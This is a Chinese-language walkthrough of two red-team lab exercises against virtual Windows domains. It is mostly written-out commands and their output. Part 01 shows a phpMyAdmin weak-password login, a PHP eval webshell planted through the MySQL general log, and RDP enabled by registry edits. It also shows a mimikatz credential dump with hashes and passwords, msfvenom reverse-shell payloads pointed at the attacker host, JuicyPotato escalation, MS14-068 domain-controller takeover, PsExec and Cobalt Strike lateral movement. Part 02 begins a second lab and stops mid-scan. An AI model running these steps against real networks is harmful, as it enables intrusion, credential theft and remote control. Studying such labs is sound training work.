01 ATT&CK红队评估
环境准备
网卡 VMnet2
Win server 2008 R2 x64
ip: 192.168.52.138
win server 2003
ip: 192.168.52.141
windows7 x64
ip: 192.168.52.143
网卡VMnet0
windows7 x64
ip: 192.168.43.128
kali
ip: 192.168.43.129
info:
windows7作为web服务和域环境的入口
kali作为攻击机器,两个网段不互通,网段内互通
但都不能ping通win7,因为开了防火墙
密码都是hongrisec@2019
信息搜集
kali里面用上我之前开发的yyzscanner扫一下web目录:
Task begin!
[*] /phpMyAdmin --> http://192.168.43.128/phpMyAdmin/ 301
[*] /phpMyAdmin/index.php 200
[*] /phpMyAdmin/ 200
[*] /phpMyadmin/ 200
[*] /phpinfo.php 200
[*] /phpmyAdmin/ 200
[*] /phpmyadmin --> http://192.168.43.128/phpmyadmin/ 301
[*] /phpmyadmin/ 200
[*] /phpmyadmin/index.php 200
Task completed!
用时(s): 26.56507968902588
看来是存在phpmyadmin服务了
nmap看看
80/tcp open http
135/tcp open msrpc
3306/tcp open mysql
直接看phpmyadmin吧
这里尝试root/root弱密码直接进去了
直接目标写shell
先看一下basedir
> select @@basedir;
C:/phpStudy/MySQL/
然后尝试写shell
> select "<?php eval($_POST['a']);?>" into outfile "C:/phpStudy/MySQL/a.php";
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
看来是没有权限写shell的
那么用第二个办法,更改日志文件写shell
> SHOW VARIABLES LIKE 'general%';
C:/phpStudy/MySQL/a.php
从phpmyadmin主页可以看到是phpStudy 2014,这里百度一下根目录是在WWW
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/a.php';
然后
select "<?php eval($_POST['yyz']);?>";
访问一下网站根目录的a.php可以看到成功了,直接AntSword连一下!
C:\phpStudy\WWW> whoami
god\administrator
(在windows下连接的mysql权限都是administrator,真好)
内网信息搜集
> systeminfo
主机名: STU1
OS 名称: Microsoft Windows 7 专业版
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 成员工作站
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00371-177-0000061-85693
初始安装日期: 2019/8/25, 9:54:10
系统启动时间: 2021/3/1, 11:32:16
系统制造商: VMware, Inc.
系统型号: VMware Virtual Platform
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~3697 Mhz
BIOS 版本: Phoenix Technologies LTD 6.00, 2020/7/22
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 2,047 MB
可用的物理内存: 1,275 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用: 3,237 MB
虚拟内存: 使用中: 858 MB
页面文件位置: C:\pagefile.sys
域: god.org
登录服务器: \\OWA
修补程序: 安装了 4 个修补程序。
[01]: KB2534111
[02]: KB2999226
[03]: KB958488
[04]: KB976902
网卡: 安装了 5 个 NIC。
[01]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接
启用 DHCP: 否
IP 地址
[01]: 192.168.52.143
[02]: fe80::fcff:cf71:1487:9c27
[02]: TAP-Windows Adapter V9
连接名: 本地连接 2
状态: 媒体连接已中断
[03]: Microsoft Loopback Adapter
连接名: Npcap Loopback Adapter
启用 DHCP: 是
DHCP 服务器: 255.255.255.255
IP 地址
[01]: 169.254.129.186
[02]: fe80::b461:ccad:e30f:81ba
[04]: TAP-Windows Adapter V9
连接名: 本地连接 3
状态: 媒体连接已中断
[05]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接 4
启用 DHCP: 是
DHCP 服务器: 192.168.43.254
IP 地址
[01]: 192.168.43.128
[02]: fe80::fa:367a:e700:4d72
> net user /domain
这项请求将在域 god.org 的域控制器处理。
\\owa.god.org 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest krbtgt
ligang liukaifeng01
查一下有没有杀软
tasklist /svc
http://payloads.net/kill_software/
没有杀软,真事太好了
开启3389
想直接连3389,结果失败了,先开一下3389远程桌面服务再说
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
这里连接还是失败了,可能是开启了防火墙,看一下安全组策略
> netsh firewall show state
防火墙状态:
-------------------------------------------------------------------
配置文件 = 域
操作模式 = 启用
例外模式 = 启用
多播/广播响应模式 = 启用
通知模式 = 启用
组策略版本 = Windows 防火墙
远程管理模式 = 禁用
所有网络接口上的端口当前均为打开状态:
端口 协议 版本 程序
-------------------------------------------------------------------
当前没有在所有网络接口上打开的端口
果然是禁用了远程管理模式的,下面这个命令可以从注册表看是否是开启状态
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
fDenyTSConnections REG_DWORD 0x1
其中0x1代表关闭,0x0代表开启
先打开一下防火墙
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
然后再开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
这样就可以连接远程桌面啦!
直接kali可以连接远程桌面:
rdesktop 192.168.43.128:3389
注意,这里是win7服务器,非winserver的服务器连接远程桌面都会把远程那边的用户给挤掉,所以我们要开启多用户登录
遇到问题了,开启了远程桌面没有密码呀
mimikatz抓取密码
由于是win7,所以可以抓取明文密码,用蚁剑传一个mimikatz上去,很好,没有杀软
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords"" exit >> shash.txt
然后看一下:
more shash.txt
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 577976 (00000000:0008d1b8)
Session : Interactive from 1
User Name : Administrator
Domain : GOD
Logon Server : OWA
Logon Time : 2021/3/2 9:14:25
SID : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d873d567a3d68c18aa5
* NTLM : 3abca27bcf61e0dbe7c01c57a5d25f28
* SHA1 : b1da4b53927ffd1e34d1e22e8005046b669cca1e
tspkg :
* Username : Administrator
* Domain : GOD
* Password : hongrisrc@2020
wdigest :
* Username : Administrator
* Domain : GOD
* Password : hongrisrc@2020
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : hongrisrc@2020
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2021/3/2 9:13:55
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : STU1$
Domain : GOD
Logon Server : (null)
Logon Time : 2021/3/2 9:13:55
SID : S-1-5-20
msv :
[00000003] Primary
* Username : STU1$
* Domain : GOD
* NTLM : 57c1002f781dacc1d8c40550512bceb0
* SHA1 : 4ca52f5d1c064771d49ea082f8985a707586f3bd
tspkg :
wdigest :
* Username : STU1$
* Domain : GOD
* Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
kerberos :
* Username : stu1$
* Domain : god.org
* Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
ssp :
credman :
Authentication Id : 0 ; 53144 (00000000:0000cf98)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2021/3/2 9:13:53
SID :
msv :
[00000003] Primary
* Username : STU1$
* Domain : GOD
* NTLM : 57c1002f781dacc1d8c40550512bceb0
* SHA1 : 4ca52f5d1c064771d49ea082f8985a707586f3bd
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : STU1$
Domain : GOD
Logon Server : (null)
Logon Time : 2021/3/2 9:13:53
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : STU1$
* Domain : GOD
* Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
kerberos :
* Username : stu1$
* Domain : GOD.ORG
* Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
ssp :
credman :
mimikatz(commandline) # exit
Bye
抓到administrator的密码是hongrisrc@2020,连接远程桌面
使用mimikatz开启远程桌面多用户登录
mimikatz(commandline) # ts::multirdp
“TermService” service patched
注意
远程登录域里面的计算机用户名是 域名\用户名 不然就会出错
但是我这里连上去了,另外一边还是被挤下线了不知道为啥
使用powershell反弹shell到msf
windows上的反弹shell并没有linux上一句话来得快,但也有几种方式可以反弹shell
一是powershell弹到本地的nc,这个方法之前我试过能成功
还有就是msf是我们经常用得到的渗透工具,所以弹到msf上可以方便我们操作
先用msfvenom生成shell文件,有两种版本
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.129(kali的本机ip) LPORT=12345 -f psh-reflection >shell.ps1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.129 LPORT=12345 -f exe >shell.exe
然后msf监听
msfconsole
use exploit/multi/handler
set LHOST kali的本机ip
set LPORT 12345
exploit
其中exe版本的要稳健一点,ps1版本的一直没成功
但是这里exe版本的我也没成功,kali上能收到回话的session,但是迟迟弹不出来shell,一看win7上的exe进程占用内存突然超大,应该是哪里出问题了,后面用php生成的木马弹回来了
提权
C:\phpStudy\WWW> whoami /priv
特权信息
----------------------
特权名 描述 状态
=============================== ========================== ======
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeSecurityPrivilege 管理审核和安全日志 已禁用
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege 加载和卸载设备驱动程序 已禁用
SeSystemProfilePrivilege 配置文件系统性能 已禁用
SeSystemtimePrivilege 更改系统时间 已禁用
SeProfileSingleProcessPrivilege 配置文件单个进程 已禁用
SeIncreaseBasePriorityPrivilege 提高计划优先级 已禁用
SeCreatePagefilePrivilege 创建一个页面文件 已禁用
SeBackupPrivilege 备份文件和目录 已禁用
SeRestorePrivilege 还原文件和目录 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeDebugPrivilege 调试程序 已禁用
SeSystemEnvironmentPrivilege 修改固件环境值 已禁用
* SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeRemoteShutdownPrivilege 从远程系统强制关机 已禁用
SeUndockPrivilege 从扩展坞上取下计算机 已禁用
SeManageVolumePrivilege 执行卷维护任务 已禁用
* SeImpersonatePrivilege 身份验证后模拟客户端 已启用
* SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
SeTimeZonePrivilege 更改时区 已禁用
SeCreateSymbolicLinkPrivilege 创建符号链接 已禁用
这里参考三好学生的文章,九种权限的利用方式,刚好遇到一种开启了的SeImpersonatePrivilege
所以使用Potato家族提权即可:具体文章可以看这个
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
顺利弹出cmd,whoami看一下是nt authority\system
实际上后面利用MS14-068拿域控并没有用到高权限
拿到域控
域环境信息收集
net group "domain controllers" /domain OWA$
看看域控ip
ipconfig /all Windows IP 配置 主机名 . . . . . . . . . . . . . : stu1 主 DNS 后缀 . . . . . . . . . . . : god.org 节点类型 . . . . . . . . . . . . : 混合 IP 路由已启用 . . . . . . . . . . : 否 WINS 代理已启用 . . . . . . . . . : 否 DNS 后缀搜索列表 . . . . . . . . : god.org localdomain
ping一下dns服务器(域控一般也做了dns服务器的)
ping god.org
正在 Ping god.org [192.168.52.138] 具有 32 字节的数据:
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
192.168.52.138 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
域控ip是192.168.52.138
传一个nmap上去扫一下banner
nmap -T4 -A -v 192.168.52.138
Discovered open port 139/tcp on 192.168.52.138
Discovered open port 80/tcp on 192.168.52.138
Discovered open port 135/tcp on 192.168.52.138
Discovered open port 53/tcp on 192.168.52.138
Discovered open port 445/tcp on 192.168.52.138
Discovered open port 49155/tcp on 192.168.52.138
Discovered open port 636/tcp on 192.168.52.138
Discovered open port 49158/tcp on 192.168.52.138
Discovered open port 3268/tcp on 192.168.52.138
Discovered open port 49163/tcp on 192.168.52.138
Discovered open port 593/tcp on 192.168.52.138
Discovered open port 3269/tcp on 192.168.52.138
Discovered open port 49154/tcp on 192.168.52.138
Discovered open port 49175/tcp on 192.168.52.138
Discovered open port 464/tcp on 192.168.52.138
Discovered open port 88/tcp on 192.168.52.138
Discovered open port 49157/tcp on 192.168.52.138
Discovered open port 389/tcp on 192.168.52.138
看到果然是域控机器开启的那些端口,80端口也是一个IIS初始化页面,没啥利用的
MS14-068
这里想到之前复现了MS14-068可以拿下域控,这里也没有打对应的补丁
首先获取用户id
whoami /user god\administrator S-1-5-21-2952760202-1353902439-2381784089-500
接下来传MS14-068.exe,把之前抓的密码也用上
MS14-068.exe -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -d god.org -p hongrisrc@2020
然后mimikatz传递票据
mimikatz # privilege::debug
Using 'mimikatz.log' for logfile : OK
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK
mimikatz # kerberos::list
mimikatz # kerberos::ptc TGT_Administrator@god.org.ccache
Principal : (01) : Administrator ; @ GOD.ORG
Data 0
Start/End/MaxRenew: 2021/3/2 11:39:39 ; 2021/3/2 21:39:39 ; 2021/3/9 11:39:39
Service Name (01) : krbtgt ; GOD.ORG ; @ GOD.ORG
Target Name (01) : krbtgt ; GOD.ORG ; @ GOD.ORG
Client Name (01) : Administrator ; @ GOD.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
3212e5742655e63cad462ec71b03cb2c
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK
mimikatz # kerberos::list
[00000000] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2021/3/2 11:39:39 ; 2021/3/2 21:39:39 ; 2021/3/9 11:39:39
Server Name : krbtgt/GOD.ORG @ GOD.ORG
Client Name : Administrator @ GOD.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
漏洞利用成功,dir可以看一下是否能列出文件
dir \\192.168.52.138\c$
然后上PsExec64.exe就可以获取一个cmd了
PsExec64.exe \\192.168.52.138 cmd.exe
使用cs
为了方便流量代理,这里还是连接一下cs
cs的使用是需要有一个teamserver开启的,并且所有的流量是通过teamserver发送和接收的,我们在kali上开一下teamserver
服务端关键的文件是teamserver以及cobaltstrike.jar
sudo ./teamserver 192.168.43.128 123456
然后打开cs的客户端,连接这个teamserver
然后打开一个listener,其中
HTTP Hosts: 192.168.43.128
HTTP Host(Stager): 192.168.43.128
Profile: default
HTTP Port(C2): 12345
其他不用改
然后用generate生成一个payload用蚁剑传上去执行,就会返回一个–
补充一下beacon的一些命令
argue 进程参数欺骗 blockdlls 阻⽌⼦进程加载⾮Microoft DLL browserpivot 注⼊受害者浏览器进程 bypassuac 绕过UAC提升权限 cancel 取消正在进⾏的下载 cd 切换⽬录 checkin 强制让被控端回连⼀次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peer over TCP covertvpn 部署Covert VPN客户端 cp 复制⽂件 dcsync 从DC中提取密码哈希 desktop 远程桌⾯(VNC) dllinject 反射DLL注⼊进程 dllload 使⽤LoadLibrary将DLL加载到进程中 download 下载⽂件 downloads 列出正在进⾏的⽂件下载 drives 列出⽬标盘符 elevate 使⽤exp execute 在⽬标上执⾏程序(⽆输出 execute-assembly 在⽬标上内存中执⾏本地.NET程序 exit 终⽌beacon会话 getprivs Enable system privileges on current token getsystem 尝试获取SYSTEM权限 getuid 获取⽤户ID hashdump 转储密码哈希值 help 帮助 inject 在注⼊进程⽣成会话 jobkill 结束⼀个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache⽂件中导⼊票据应⽤于此会话 kerberos_ticket_purge 清除当前会话的票据 keberos_ticket_use Apply 从ticket⽂件中导⼊票据应⽤于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peer over a named pipe logonpasswords 使⽤mimikatz转储凭据和哈希值 ls 列出⽂件 make_token 创建令牌以传递凭据 mimikatz 运⾏mimikatz mkdir 创建⼀个⽬录 mode dns 使⽤DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使⽤DNS TXT作为通信通道(仅限D beacon) mode dns6 使⽤DNS AAAA作为通信通道(仅限DNS beacon) mode http 使⽤HTTP作为通信通道 mv 移动⽂件 net net命令 note 备注 portscan 进⾏端⼝扫描 powerpick 通过Unmanaged PowerShell执⾏命令 powershell 通过powershell.exe执⾏命令 powershell-import 导⼊powershell脚本 ppid Set parent PID for spawned post-ex jobs ps 显示进程列表 psexec Use a service to spawn a session on a host pseec_psh Use PowerShell to spawn a session on a host psinject 在特定进程中执⾏PowerShell命令 pth 使⽤Mimikatz进⾏传递哈希 pwd 当前⽬录位置 reg Query the registry rev2self 恢复原始令牌 rm 删除⽂件或⽂件夹 rportfwd 端⼝转发 run 在⽬标上执⾏程序(返回输出) runas 以其他⽤户权限执⾏程序 runasadmin 在⾼权限下执⾏程序 runu Execute a program under another PID screenshot 屏幕截图 setenv 设置环境变量 shell 执⾏cmd命令 shinject 将shellcode注⼊进程 shspawn 启动⼀个进程并将shellcode注⼊其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停⽌SOCKS spawn Spawn a session spawnas Spawn a session as another user spawnto Set executable to spawn processes into spawnu Spawn a session under another PID ssh 使⽤ssh连接远程主机 ssh-key 使⽤密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将⼀个⽂件的时间戳应⽤到另⼀个⽂件 unlink Disconnect from parent Beacon upload 上传⽂件 wdigest 使⽤mimikatz转储明⽂凭据 winrm 使⽤WinRM横向渗透 wmi 使⽤WMI横向渗透
为msf开启sock4代理
在cs中,使用如下命令即可将获得的靶机变成跳板机
socks 43624
其中43624是可以指定的端口号
接下来就可以使用msf进行内网渗透了
setg Proxies socks4:192.168.43.128:43624 setg ReverseAllowProxy true //注意后面这一句,网上说测试不可以用,但是我这里没问题,如果只用上面一句实现不了代理,那么可以加上后面这句
在msf里面扫描445端口试试
use auxiliary/scanner/smb/smb_version set rhost 192.168.52.0/24 run
可以看到扫描出了52段的所有机器
cs下的简单提权
在cs4中新增的提权方式,SVC-exe
实际上是通过psexec横向到本地生成一个beacon
先生成listener
Payload: Beacon TCP
Port(C2): 4444
(√)Bind to localhost only
然后在你想要提权的beacon上面执行
elevate svc-exe
即可得到具有system权限的beacon
横向渗透
使用port scan扫描一下内网的存活主机,当然,在之前可以先搜集一下域控存在的网段
使用票据和hash通过psexec横向生成beacon:
先在system机器上hashdump然后mimikatz抓取一下密码或者hash
然后生成一个SMB445端口的listener
cs里面点击菜单栏的show targets in table view
右键点击目标主机,jump -> psexec ->
可以直接用域控的hash或者密码来登录
listener选择smb,seesion使用之前获取hash的那个机子
不出意外的话即可上线对应的beacon
至此,我们拿下了域控里面所有主机的beacon,并且都取得了system权限
这里使用cs参考了很多大佬的文章:
02 ATT&CK红队评估
拓扑描述:
web机和PC机暴露在公网中,有杀软
DC在内网中
DC和PC密码为1qaz@WSX,WEB的密码是!QAZ2wsx
打开PC\web服务器service里面的Server、Workstation、Computer Browser
启动WEB服务器里面的weblogic应用C:\Oracle\Middleware\user_projects\domains\base_domain\bin
环境准备
网卡VMnet0(NAT模式)(模拟外网环境)
PC ip: 192.168.111.130
WEB ip: 192.168.111.129
kali ip: 192.168.111.128
网卡VMnet2 (模拟内网环境)
PC ip: 10.10.10.201
WEB ip: 10.10.10.80
DC ip: 10.10.10.130
踩坑:每一台机器都设置为自动获取ip,网关配置好,然后双网卡的机器配置VMnet0在上,VMnet2在下
信息搜集
nmap -T4 -A -v 192.168.111.129
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-03 04:01 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:01
Completed NSE at 04:01, 0.00s elapsed
Initiating NSE at 04:01
Completed NSE at 04:01, 0.00s elapsed
Initiating NSE at 04:01
Completed NSE at 04:01, 0.00s elapsed
Initiating Ping Scan at 04:01
Scanning 192.168.111.129 [2 ports]
Completed Ping Scan at 04:01, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:01
Completed Parallel DNS resolution of 1 host. at 04:01, 0.11s elapsed
Initiating Connect Scan at 04:01
Scanning 192.168.111.129 [1000 ports]
Discovered open port 80/tcp on 192.168.111.129
Discovered open port 3389/tcp on 192.168.111.129
Discovered open port 135/tcp on 192.168.111.129
Discovered open port 139/tcp on 192.168.111.129
Discovered open port 445/tcp on 192.168.111.129
Discovered open port 49152/tcp on 192.168.111.129
Discovered open port 49155/tcp on 192.168.111.129
Discovered open port 49153/tcp on 192.168.111.129
Discovered open port 49154/tcp on 192.168.111.129
Discovered open port 7001/tcp on 192.168.111.129
Discovered open port 1433/tcp on 192.168.111.129
Discovered open port 49156/tcp on 192.168.111.129
Completed Connect Scan at 04:01, 4.27s elapsed (1000 total ports)
Initiating Service scan at 04:01
Scanning 12 services on 192.168.111.129
Completed Service scan at 04:02, 58.67s elapsed (12 services on 1 host)
NSE: Script scanning 192.168.111.129.
Initiating NSE at 04:02
Completed NSE at 04:03, 73.44s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.06s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Nmap scan report for 192.168.111.129
Host is up (0.0014s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-03-03T08:20:50
| Not valid after: 2051-03-03T08:20:50
| MD5: b0a8 c5de 978a 9de2 103d 9be0 b111 5278
|_SHA-1: dcb4 ebc0 a611 f76b ce45 a9af 8a7e d8ed 9d11 e91d
|_ssl-date: 2021-03-03T09:03:21+00:00; 0s from scanner time.
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-03-02T06:36:50
| Not valid after: 2021-09-01T06:36:50
| MD5: 1c00 9f56 6b51 eb7d 1052 f498 f3fe 4a91
|_SHA-1: 1385 065e 4b73 bbaa 81c2 cc87 634c 47c4 3faa 9940
|_ssl-date: 2021-03-03T09:03:21+00:00; 0s from scanner time.
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 192.168.111.129:1433:
